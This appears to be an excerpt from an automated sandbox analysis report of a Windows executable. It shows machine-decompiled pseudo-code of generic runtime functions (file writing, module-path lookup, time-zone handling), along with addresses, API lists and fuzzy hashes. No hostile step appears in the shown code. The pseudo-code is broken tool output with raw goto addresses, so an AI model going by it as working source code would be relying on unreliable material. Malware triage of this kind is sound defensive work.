				if (E00007FF77FF7DA8EDB00(_t212 & 0x000000fb, _t229, _t279, _t333 - 0x6d, _t329, _t326, _t329, _t333, _t341, _t356) == 0xffffffff) goto 0xda8ebe0b;
				_t330 = _t370;
				goto 0xda8ebcb6;
				_t200 = E00007FF77FF7DA8EDB00(_t212 & 0x000000fb, _t229, _t279, _t333 - 0x6d, _t330, _t326, _t330, _t333, _t361, _t356);
				if (_t200 == 0xffffffff) goto 0xda8ebe0b;
				_t331 =  &(_t330[1]);
				 *((long long*)(_t335 + 0x38)) = _t326;
				 *((long long*)(_t335 + 0x30)) = _t326;
				 *((intOrPtr*)(_t335 + 0x28)) = 5;
				_t273 = _t333 + 0xf;
				 *((long long*)(_t335 + 0x20)) = _t273;
				r9d = r12d;
				_t343 = _t333 - 0x6d;
				E00007FF77FF7DA8EF008();
				r14d = _t200;
				if (_t200 == 0) goto 0xda8ebe0b;
				 *((long long*)(_t335 + 0x20)) = _t326;
				r8d = _t200;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xda8ebe03;
				 *((intOrPtr*)(_t279 + 4)) = __esi -  *((intOrPtr*)(_t333 - 0x41)) +  *((intOrPtr*)(_t279 + 8));
				if ( *((intOrPtr*)(_t333 - 0x69)) - r14d < 0) goto 0xda8ebe0b;
				if ( *((char*)(_t333 - 0x71)) != 0xa) goto 0xda8ebd6e;
				 *((short*)(_t333 - 0x71)) = 0xd;
				 *((long long*)(_t335 + 0x20)) = _t326;
				_t130 = _t273 - 0xc; // 0x1
				r8d = _t130;
				_t323 = _t333 - 0x71;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xda8ebe03;
				if ( *((intOrPtr*)(_t333 - 0x69)) - 1 < 0) goto 0xda8ebe0b;
				 *((intOrPtr*)(_t279 + 8)) =  *((intOrPtr*)(_t279 + 8)) + 1;
				 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t279 + 4)) + 1;
				if (_t331 -  *((intOrPtr*)(_t333 - 0x61)) >= 0) goto 0xda8ebe0b;
				goto 0xda8eba89;
				if (_t323 <= 0) goto 0xda8ebdb1;
				_t332 = _t331 - _t370;
				 *((char*)( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t366 * 8)) + _t370 + 0x3e + _t372 * 8)) =  *((intOrPtr*)(_t332 + _t370));
				if (1 - _t323 < 0) goto 0xda8ebd90;
				 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t279 + 4)) +  *((intOrPtr*)(_t279 + 4));
				goto 0xda8ebe0b;
				if (_t343 <= 0) goto 0xda8ebde2;
				_t324 = _t326;
				 *((char*)( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 +  *(_t333 - 0x39) * 8)) + _t324 + 0x3e + _t372 * 8)) =  *((intOrPtr*)(_t324 + _t332));
				_t325 = _t324 + 1;
				if (2 - _t343 < 0) goto 0xda8ebdc2;
				 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t279 + 4)) + r8d;
				goto 0xda8ebe0b;
				 *((intOrPtr*)(_t343 + 0x3e + _t372 * 8)) = r9b;
				 *( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t366 * 8)) + 0x3d + _t372 * 8) =  *( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t366 * 8)) + 0x3d + _t372 * 8) | 0x00000004;
				_t173 = _t325 + 1; // 0x1
				 *((intOrPtr*)(_t279 + 4)) = _t173;
				goto 0xda8ebe0b;
				 *_t279 = GetLastError();
				return E00007FF77FF7DA8DACF0(_t207,  *((intOrPtr*)(_t333 - 0x45)),  *(_t333 + 0x17) ^ _t335);
			}



















































                                                                                                                              0x7ff7da8eb9c0
                                                                                                                              0x7ff7da8eb9ce
                                                                                                                              0x7ff7da8eb9d2
                                                                                                                              0x7ff7da8eb9d9
                                                                                                                              0x7ff7da8eb9e1
                                                                                                                              0x7ff7da8eb9e5
                                                                                                                              0x7ff7da8eb9ef
                                                                                                                              0x7ff7da8eb9f3
                                                                                                                              0x7ff7da8eb9f6
                                                                                                                              0x7ff7da8eb9fd
                                                                                                                              0x7ff7da8eba04
                                                                                                                              0x7ff7da8eba0e
                                                                                                                              0x7ff7da8eba12
                                                                                                                              0x7ff7da8eba20
                                                                                                                              0x7ff7da8eba2c
                                                                                                                              0x7ff7da8eba31
                                                                                                                              0x7ff7da8eba35
                                                                                                                              0x7ff7da8eba38
                                                                                                                              0x7ff7da8eba3b
                                                                                                                              0x7ff7da8eba45
                                                                                                                              0x7ff7da8eba52
                                                                                                                              0x7ff7da8eba57
                                                                                                                              0x7ff7da8eba64
                                                                                                                              0x7ff7da8eba67
                                                                                                                              0x7ff7da8eba6c
                                                                                                                              0x7ff7da8eba6f
                                                                                                                              0x7ff7da8eba76
                                                                                                                              0x7ff7da8eba7f
                                                                                                                              0x7ff7da8eba83
                                                                                                                              0x7ff7da8eba8b
                                                                                                                              0x7ff7da8eba8e
                                                                                                                              0x7ff7da8eba91
                                                                                                                              0x7ff7da8ebaa4
                                                                                                                              0x7ff7da8ebab7
                                                                                                                              0x7ff7da8ebac2
                                                                                                                              0x7ff7da8ebac6
                                                                                                                              0x7ff7da8ebad0
                                                                                                                              0x7ff7da8ebad5
                                                                                                                              0x7ff7da8ebae9
                                                                                                                              0x7ff7da8ebaf2
                                                                                                                              0x7ff7da8ebaf8
                                                                                                                              0x7ff7da8ebafa
                                                                                                                              0x7ff7da8ebb04
                                                                                                                              0x7ff7da8ebb0a
                                                                                                                              0x7ff7da8ebb10
                                                                                                                              0x7ff7da8ebb25
                                                                                                                              0x7ff7da8ebb32
                                                                                                                              0x7ff7da8ebb37
                                                                                                                              0x7ff7da8ebb43
                                                                                                                              0x7ff7da8ebb48
                                                                                                                              0x7ff7da8ebb53
                                                                                                                              0x7ff7da8ebb61
                                                                                                                              0x7ff7da8ebb6c
                                                                                                                              0x7ff7da8ebb6e
                                                                                                                              0x7ff7da8ebb72
                                                                                                                              0x7ff7da8ebb76
                                                                                                                              0x7ff7da8ebb83
                                                                                                                              0x7ff7da8ebb85
                                                                                                                              0x7ff7da8ebb88
                                                                                                                              0x7ff7da8ebb8b
                                                                                                                              0x7ff7da8ebb9c
                                                                                                                              0x7ff7da8ebba5
                                                                                                                              0x7ff7da8ebbb3
                                                                                                                              0x7ff7da8ebbb6
                                                                                                                              0x7ff7da8ebbbe
                                                                                                                              0x7ff7da8ebbc7
                                                                                                                              0x7ff7da8ebbd2
                                                                                                                              0x7ff7da8ebbd8
                                                                                                                              0x7ff7da8ebbde
                                                                                                                              0x7ff7da8ebbe2
                                                                                                                              0x7ff7da8ebbee
                                                                                                                              0x7ff7da8ebbf0
                                                                                                                              0x7ff7da8ebbf3
                                                                                                                              0x7ff7da8ebbf6
                                                                                                                              0x7ff7da8ebbfb
                                                                                                                              0x7ff7da8ebc07
                                                                                                                              0x7ff7da8ebc10
                                                                                                                              0x7ff7da8ebc16
                                                                                                                              0x7ff7da8ebc19
                                                                                                                              0x7ff7da8ebc1c
                                                                                                                              0x7ff7da8ebc20
                                                                                                                              0x7ff7da8ebc25
                                                                                                                              0x7ff7da8ebc2d
                                                                                                                              0x7ff7da8ebc35
                                                                                                                              0x7ff7da8ebc3c
                                                                                                                              0x7ff7da8ebc41
                                                                                                                              0x7ff7da8ebc47
                                                                                                                              0x7ff7da8ebc4c
                                                                                                                              0x7ff7da8ebc56
                                                                                                                              0x7ff7da8ebc58
                                                                                                                              0x7ff7da8ebc68
                                                                                                                              0x7ff7da8ebc6a
                                                                                                                              0x7ff7da8ebc72
                                                                                                                              0x7ff7da8ebc7b
                                                                                                                              0x7ff7da8ebc90
                                                                                                                              0x7ff7da8ebc96
                                                                                                                              0x7ff7da8ebc99
                                                                                                                              0x7ff7da8ebca8
                                                                                                                              0x7ff7da8ebcb0
                                                                                                                              0x7ff7da8ebcb6
                                                                                                                              0x7ff7da8ebcb9
                                                                                                                              0x7ff7da8ebcbe
                                                                                                                              0x7ff7da8ebcc3
                                                                                                                              0x7ff7da8ebccb
                                                                                                                              0x7ff7da8ebccf
                                                                                                                              0x7ff7da8ebcd4
                                                                                                                              0x7ff7da8ebcd7
                                                                                                                              0x7ff7da8ebce0
                                                                                                                              0x7ff7da8ebce5
                                                                                                                              0x7ff7da8ebcea
                                                                                                                              0x7ff7da8ebcf0
                                                                                                                              0x7ff7da8ebcf9
                                                                                                                              0x7ff7da8ebd0f
                                                                                                                              0x7ff7da8ebd1d
                                                                                                                              0x7ff7da8ebd24
                                                                                                                              0x7ff7da8ebd2e
                                                                                                                              0x7ff7da8ebd35
                                                                                                                              0x7ff7da8ebd39
                                                                                                                              0x7ff7da8ebd42
                                                                                                                              0x7ff7da8ebd42
                                                                                                                              0x7ff7da8ebd46
                                                                                                                              0x7ff7da8ebd55
                                                                                                                              0x7ff7da8ebd5f
                                                                                                                              0x7ff7da8ebd65
                                                                                                                              0x7ff7da8ebd68
                                                                                                                              0x7ff7da8ebd72
                                                                                                                              0x7ff7da8ebd83
                                                                                                                              0x7ff7da8ebd8b
                                                                                                                              0x7ff7da8ebd8d
                                                                                                                              0x7ff7da8ebd9f
                                                                                                                              0x7ff7da8ebdaf
                                                                                                                              0x7ff7da8ebdb1
                                                                                                                              0x7ff7da8ebdb4
                                                                                                                              0x7ff7da8ebdb9
                                                                                                                              0x7ff7da8ebdbb
                                                                                                                              0x7ff7da8ebdd0
                                                                                                                              0x7ff7da8ebdd7
                                                                                                                              0x7ff7da8ebde0
                                                                                                                              0x7ff7da8ebde2
                                                                                                                              0x7ff7da8ebde6
                                                                                                                              0x7ff7da8ebde8
                                                                                                                              0x7ff7da8ebdf5
                                                                                                                              0x7ff7da8ebdfb
                                                                                                                              0x7ff7da8ebdfe
                                                                                                                              0x7ff7da8ebe01
                                                                                                                              0x7ff7da8ebe09
                                                                                                                              0x7ff7da8ebe34

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FileWrite$ConsoleErrorLastOutput
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2718003287-0
                                                                                                                              • Opcode ID: 4cae027592c5ba934747693b00d7aff08725dc1ee470aad96940ecba80e61e26
                                                                                                                              • Instruction ID: 3015a7e8fc187f18b525ac0f8d476e40feaf1f2652b40fe8f83079da93e8bb0b
                                                                                                                              • Opcode Fuzzy Hash: 4cae027592c5ba934747693b00d7aff08725dc1ee470aad96940ecba80e61e26
                                                                                                                              • Instruction Fuzzy Hash: C2D11132B08A8189F712DF64C4442ACB7B1FB64798B848176CE4E97B8ADE3DD526C310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D1F70 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: LongWindow$DialogInvalidateRect
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1956198572-0
                                                                                                                              • Opcode ID: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
                                                                                                                              • Instruction ID: cce63523b37562e1ed21a6ef47c86d7ad9f81d523b7969d044a97034b57c0e1a
                                                                                                                              • Opcode Fuzzy Hash: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
                                                                                                                              • Instruction Fuzzy Hash: 6511C621E1814346FA56A76AE5442BDD292FFD9791FC88072ED4906BCBDE2CD4A18310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F4C8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 58%
                                                                                                                              			E00007FF77FF7DA8F4C8C(void* __ebx, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __r8, void* __r9, void* __r10, long long _a8, long long _a16) {
				char _v16;
				intOrPtr _v32;
				char _v40;
				signed long long _v48;
				signed long long _v56;
				intOrPtr _v64;
				long long _v72;
				void* _t28;
				void* _t29;
				long long _t57;

				_t29 = __ebx;
				_a8 = __rbx;
				_a16 = __rsi;
				_t57 = __r8;
				if (E00007FF77FF7DA8F07F0(__rax, __r9, __rdx, __rdx, __r8, __rcx, __r9) != 0) goto 0xda8f4d59;
				E00007FF77FF7DA8E496C(__rax, __r9,  &_v40, __rdx, __r8);
				if ( *((intOrPtr*)(_v32 + 0xc)) != 0xfde9) goto 0xda8f4cec;
				if (_v16 == 0) goto 0xda8f4d23;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				goto 0xda8f4d23;
				_t28 = E00007FF77FF7DA8EDF1C(_v16, _v40);
				if (_t28 != 0) goto 0xda8f4d0e;
				if (_v16 == _t28) goto 0xda8f4d07;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				goto 0xda8f4d23;
				if (_v16 == 0) goto 0xda8f4d21;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				_v48 = _v48 & 0x00000000;
				r9d = _t29;
				_v56 = _v56 & 0x00000000;
				_v64 = 0x3f;
				_v72 = _t57;
				E00007FF77FF7DA8EF008();
				return _t28;
			}













                                                                                                                              0x7ff7da8f4c8c
                                                                                                                              0x7ff7da8f4c8c
                                                                                                                              0x7ff7da8f4c91
                                                                                                                              0x7ff7da8f4c9e
                                                                                                                              0x7ff7da8f4cb8
                                                                                                                              0x7ff7da8f4cc3
                                                                                                                              0x7ff7da8f4cd5
                                                                                                                              0x7ff7da8f4cdc
                                                                                                                              0x7ff7da8f4ce3
                                                                                                                              0x7ff7da8f4cea
                                                                                                                              0x7ff7da8f4cec
                                                                                                                              0x7ff7da8f4cf3
                                                                                                                              0x7ff7da8f4cf9
                                                                                                                              0x7ff7da8f4d00
                                                                                                                              0x7ff7da8f4d0c
                                                                                                                              0x7ff7da8f4d13
                                                                                                                              0x7ff7da8f4d1a
                                                                                                                              0x7ff7da8f4d23
                                                                                                                              0x7ff7da8f4d29
                                                                                                                              0x7ff7da8f4d2c
                                                                                                                              0x7ff7da8f4d35
                                                                                                                              0x7ff7da8f4d3f
                                                                                                                              0x7ff7da8f4d44
                                                                                                                              0x7ff7da8f4d58

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _get_daylight$_invalid_parameter_noinfo
                                                                                                                              • String ID: ?
                                                                                                                              • API String ID: 1286766494-1684325040
                                                                                                                              • Opcode ID: b5dbd4086f1ebc6acc02e83ccdcd9f8863b27b7b6b52c990b24d3680f752c929
                                                                                                                              • Instruction ID: c4faeeb689ebf7bc036577efb97a5ab3b36e216536f72d62141b9da85c6d4634
                                                                                                                              • Opcode Fuzzy Hash: b5dbd4086f1ebc6acc02e83ccdcd9f8863b27b7b6b52c990b24d3680f752c929
                                                                                                                              • Instruction Fuzzy Hash: A241E512A0928745FB26BB25A40137DEA60FBA07A4FD04277EE5C06ADBDF3DD4618710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E7DBC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 54%
                                                                                                                              			E00007FF77FF7DA8E7DBC(void* __ecx, intOrPtr* __rax, long long __rbx, void* __rcx, void* __r8, long long _a8, signed int _a16, signed int _a24, signed int _a32) {
				long long _v56;
				void* __rdi;
				void* __rsi;
				void* __r14;
				void* _t30;
				intOrPtr _t36;
				intOrPtr _t42;
				intOrPtr* _t65;
				long long _t71;
				void* _t73;
				long long _t87;
				signed int _t88;
				intOrPtr* _t89;
				void* _t99;

				_t73 = __rcx;
				_a8 = __rbx;
				r14d = __ecx;
				if (__ecx == 0) goto 0xda8e7f2b;
				_t2 = _t73 - 1; // -1
				if (_t2 - 1 <= 0) goto 0xda8e7dfa;
				E00007FF77FF7DA8E4394(__rax);
				_t3 = _t88 + 0x16; // 0x16
				_t42 = _t3;
				 *__rax = _t42;
				E00007FF77FF7DA8E9D00();
				goto 0xda8e7f2b;
				r8d = 0x104;
				GetModuleFileNameW(??, ??, ??);
				_t89 =  *0xda91c768; // 0x25976da227a
				 *0xda91c740 = 0xda91c790;
				if (_t89 == 0) goto 0xda8e7e2a;
				if ( *_t89 != _t42) goto 0xda8e7e2d;
				_t65 =  &_a32;
				_a24 = _t88;
				_v56 = _t65;
				r8d = 0;
				_a32 = _t88;
				_t30 = E00007FF77FF7DA8E7BB8(0xda91c790, 0xda91c790, 0xda91c790, _t88, 0xda91c790, __r8,  &_a24, _t99);
				r8d = 2;
				E00007FF77FF7DA8E7D5C(_t30, _a24, _a32, __r8);
				_t71 = _t65;
				if (_t65 != 0) goto 0xda8e7e85;
				E00007FF77FF7DA8E4394(_t65);
				 *_t65 = 0xc;
				E00007FF77FF7DA8E9D68(_t65, _a24);
				goto 0xda8e7df3;
				_v56 =  &_a32;
				E00007FF77FF7DA8E7BB8(_t71, 0xda91c790, _t71, _t88, 0xda91c790, _t65 + _a24 * 8,  &_a24, _t99);
				if (r14d != 1) goto 0xda8e7ebd;
				_t36 = _a24 - 1;
				 *0xda91c758 = _t71;
				 *0xda91c748 = _t36;
				goto 0xda8e7f26;
				_a16 = _t88;
				0xda8f0e7c();
				if (_t36 == 0) goto 0xda8e7eec;
				E00007FF77FF7DA8E9D68( &_a32, _a16);
				_a16 = _t88;
				E00007FF77FF7DA8E9D68( &_a32, _t71);
				goto 0xda8e7f2b;
				_t87 = _a16;
				if ( *_t87 == _t88) goto 0xda8e7f07;
				if ( *((intOrPtr*)(_t87 + 8)) != _t88) goto 0xda8e7efb;
				 *0xda91c748 = 0;
				_a16 = _t88;
				 *0xda91c758 = _t87;
				E00007FF77FF7DA8E9D68(_t87 + 8, _t88 + 1);
				_a16 = _t88;
				E00007FF77FF7DA8E9D68(_t87 + 8, _t71);
				return _t36;
			}

















                                                                                                                              0x7ff7da8e7dbc
                                                                                                                              0x7ff7da8e7dbc
                                                                                                                              0x7ff7da8e7dd1
                                                                                                                              0x7ff7da8e7dd6
                                                                                                                              0x7ff7da8e7ddc
                                                                                                                              0x7ff7da8e7de2
                                                                                                                              0x7ff7da8e7de4
                                                                                                                              0x7ff7da8e7de9
                                                                                                                              0x7ff7da8e7de9
                                                                                                                              0x7ff7da8e7dec
                                                                                                                              0x7ff7da8e7dee
                                                                                                                              0x7ff7da8e7df5
                                                                                                                              0x7ff7da8e7e01
                                                                                                                              0x7ff7da8e7e0c
                                                                                                                              0x7ff7da8e7e12
                                                                                                                              0x7ff7da8e7e19
                                                                                                                              0x7ff7da8e7e23
                                                                                                                              0x7ff7da8e7e28
                                                                                                                              0x7ff7da8e7e2d
                                                                                                                              0x7ff7da8e7e31
                                                                                                                              0x7ff7da8e7e39
                                                                                                                              0x7ff7da8e7e3e
                                                                                                                              0x7ff7da8e7e41
                                                                                                                              0x7ff7da8e7e4a
                                                                                                                              0x7ff7da8e7e53
                                                                                                                              0x7ff7da8e7e60
                                                                                                                              0x7ff7da8e7e65
                                                                                                                              0x7ff7da8e7e6b
                                                                                                                              0x7ff7da8e7e6d
                                                                                                                              0x7ff7da8e7e79
                                                                                                                              0x7ff7da8e7e7b
                                                                                                                              0x7ff7da8e7e80
                                                                                                                              0x7ff7da8e7e97
                                                                                                                              0x7ff7da8e7e9c
                                                                                                                              0x7ff7da8e7ea5
                                                                                                                              0x7ff7da8e7eaa
                                                                                                                              0x7ff7da8e7eac
                                                                                                                              0x7ff7da8e7eb3
                                                                                                                              0x7ff7da8e7ebb
                                                                                                                              0x7ff7da8e7ec1
                                                                                                                              0x7ff7da8e7ec8
                                                                                                                              0x7ff7da8e7ed1
                                                                                                                              0x7ff7da8e7ed7
                                                                                                                              0x7ff7da8e7edf
                                                                                                                              0x7ff7da8e7ee3
                                                                                                                              0x7ff7da8e7eea
                                                                                                                              0x7ff7da8e7eec
                                                                                                                              0x7ff7da8e7ef9
                                                                                                                              0x7ff7da8e7f05
                                                                                                                              0x7ff7da8e7f07
                                                                                                                              0x7ff7da8e7f0f
                                                                                                                              0x7ff7da8e7f13
                                                                                                                              0x7ff7da8e7f1a
                                                                                                                              0x7ff7da8e7f22
                                                                                                                              0x7ff7da8e7f26
                                                                                                                              0x7ff7da8e7f3d

                                                                                                                              APIs
                                                                                                                              • _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8E7DEE
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: RtlReleasePrivilege.NTDLL(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D7E
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: GetLastError.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D88
                                                                                                                              • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7DA8DADC5), ref: 00007FF7DA8E7E0C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastModuleNamePrivilegeRelease_invalid_parameter_noinfo
                                                                                                                              • String ID: C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                              • API String ID: 1752791759-1369563247
                                                                                                                              • Opcode ID: 423edd4b2681a8db9fd790100d8ed82b1a97c1d070a1c3962bce80031e073eba
                                                                                                                              • Instruction ID: 8969b95f9412f05e38a9115bf6d1ebc9eb281ac98a7f6e7a9f58bb3ab5d8e94a
                                                                                                                              • Opcode Fuzzy Hash: 423edd4b2681a8db9fd790100d8ed82b1a97c1d070a1c3962bce80031e073eba
                                                                                                                              • Instruction Fuzzy Hash: 7A413F31A08A52C5F716BF25A4400BCB7A4FB54B94BD44077EE4D83B56DF3EE5618320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EC058 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 29%
                                                                                                                              			E00007FF77FF7DA8EC058(signed int __edx, void* __edi, void* __rax, signed long long __rbx, intOrPtr* __rcx, long long __rbp, signed short* __r8, void* __r10, void* __r11, signed long long _a8, signed long long _a16, long long _a24, char _a40, char _a1744, char _a1752, signed int _a5176, void* _a5192) {
				intOrPtr _v0;
				signed long long _v8;
				signed int _t41;
				signed long long _t62;
				short* _t67;
				signed int* _t68;
				void* _t91;
				void* _t102;
				void* _t103;

				_a8 = __rbx;
				_a24 = __rbp;
				E00007FF77FF7DA8DAD20(0x1470, __rax, __r10, __r11);
				_t62 =  *0xda90d008; // 0xde4e6c2f3c2e
				_a5176 = _t62 ^ _t91 - __rax;
				r14d = r9d;
				r10d = r10d & 0x0000003f;
				_t103 = _t102 + __r8;
				 *((long long*)(__rcx)) =  *((intOrPtr*)(0xda91ca20 + (__edx >> 6) * 8));
				 *((intOrPtr*)(__rcx + 8)) = 0;
				if (__r8 - _t103 >= 0) goto 0xda8ec199;
				_t67 =  &_a40;
				if (__r8 - _t103 >= 0) goto 0xda8ec102;
				_t41 =  *__r8 & 0x0000ffff;
				if (_t41 != 0xa) goto 0xda8ec0ee;
				 *_t67 = 0xd;
				_t68 = _t67 + 2;
				 *_t68 = _t41;
				if ( &(_t68[0]) -  &_a1744 < 0) goto 0xda8ec0d0;
				_a16 = _a16 & 0x00000000;
				_a8 = _a8 & 0x00000000;
				_v0 = 0xd55;
				_v8 =  &_a1752;
				r9d = 0;
				E00007FF77FF7DA8EF008();
				if (0 == 0) goto 0xda8ec191;
				if (0 == 0) goto 0xda8ec181;
				_v8 = _v8 & 0x00000000;
				r8d = 0;
				r8d = r8d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xda8ec191;
				if (0 + _a24 < 0) goto 0xda8ec14e;
				 *((intOrPtr*)(__rcx + 4)) = __edi - r15d;
				goto 0xda8ec0c5;
				 *((intOrPtr*)(__rcx)) = GetLastError();
				return E00007FF77FF7DA8DACF0(_t39, 0, _a5176 ^ _t91 - __rax);
			}












                                                                                                                              0x7ff7da8ec058
                                                                                                                              0x7ff7da8ec05d
                                                                                                                              0x7ff7da8ec06f
                                                                                                                              0x7ff7da8ec077
                                                                                                                              0x7ff7da8ec081
                                                                                                                              0x7ff7da8ec092
                                                                                                                              0x7ff7da8ec0a0
                                                                                                                              0x7ff7da8ec0a4
                                                                                                                              0x7ff7da8ec0bc
                                                                                                                              0x7ff7da8ec0c2
                                                                                                                              0x7ff7da8ec0c5
                                                                                                                              0x7ff7da8ec0cb
                                                                                                                              0x7ff7da8ec0d3
                                                                                                                              0x7ff7da8ec0d5
                                                                                                                              0x7ff7da8ec0e0
                                                                                                                              0x7ff7da8ec0e7
                                                                                                                              0x7ff7da8ec0ea
                                                                                                                              0x7ff7da8ec0ee
                                                                                                                              0x7ff7da8ec100
                                                                                                                              0x7ff7da8ec102
                                                                                                                              0x7ff7da8ec10d
                                                                                                                              0x7ff7da8ec11b
                                                                                                                              0x7ff7da8ec12e
                                                                                                                              0x7ff7da8ec133
                                                                                                                              0x7ff7da8ec13d
                                                                                                                              0x7ff7da8ec146
                                                                                                                              0x7ff7da8ec14c
                                                                                                                              0x7ff7da8ec14e
                                                                                                                              0x7ff7da8ec163
                                                                                                                              0x7ff7da8ec16c
                                                                                                                              0x7ff7da8ec177
                                                                                                                              0x7ff7da8ec17f
                                                                                                                              0x7ff7da8ec186
                                                                                                                              0x7ff7da8ec18c
                                                                                                                              0x7ff7da8ec197
